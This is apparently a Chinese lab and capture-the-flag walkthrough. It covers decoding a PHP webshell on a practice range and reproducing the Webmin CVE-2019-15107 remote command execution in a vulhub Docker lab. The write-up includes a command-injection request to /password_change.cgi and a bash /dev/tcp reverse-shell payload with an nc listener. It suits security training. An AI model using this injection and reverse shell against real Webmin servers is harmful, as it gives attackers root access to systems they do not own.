1.代码分析溯源
- 打开在线靶场网站,登陆后启动靶场环境
- 打开网站后查看到提示
- 编写python脚本,对括号内的内容进行解码和解压缩的操作
- 最终获取到echo $_REQUEST[a];
- 对靶场网站的网址进行编辑,将命令赋值给a从而控制网站
命令:ls
- 使用tac查看key_160272192316483.php中的内容
命令:tac key_160272192316483.php
- 获取Key值后进行提交
2.远程命令执行漏洞
2.1 环境搭建
- 在kali机或者其他linux中获取docker
命令:
sudo curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
- 更新apt
命令:sudo apt-get update
- 安装docker-compose
命令:sudo apt-get install docker-compose
- 从github上获取vulhub
命令:
sudo git clone https://github.com/vulhub/vulhub.git
- 启动docker服务
命令:sudo systemctl start docker
- 查看docker运行状态
命令:sudo systemctl status docker
- 进入到之前安装的vulhub中webmin的CVE-2019-15107文件夹中
- 启动靶场环境
命令:sudo docker-compose up -d
- 查看docker启动的ID号
命令:sudo docker ps
- 根据获取到的ID号进入网站的容器中
命令:sudo docker exec -it ID /bin/bash
- 进入Webmin,端口为10000,注意要使用HTTPS,否则会报错
2.2 漏洞复现
- 回到容器界面,使用cat查看miniserv.conf,若passwd_mode=2则表示密码修改功能开启
命令:cat /etc/webmin/miniserv.conf
- 返回到网站界面,使用BP拦截登录请求,并将请求发送到Repeat
- 将第一行的功能修改为
/password_change.cgi
将最后一行的内容修改为:user=admin&old=ls&new1=test2&new2=test2
其中old表示执行的命令
- 执行whoami,在回复中看到已经是root权限
- 查看IP地址
- 将远程执行命令进行URL编码
命令:bash -c “bash -i >& /dev/tcp/IP/1234 0>&1”
- 对1234端口进行监听
命令:nc -lnvp 1234
- 重新修改请求并且发送
- 远程连接成功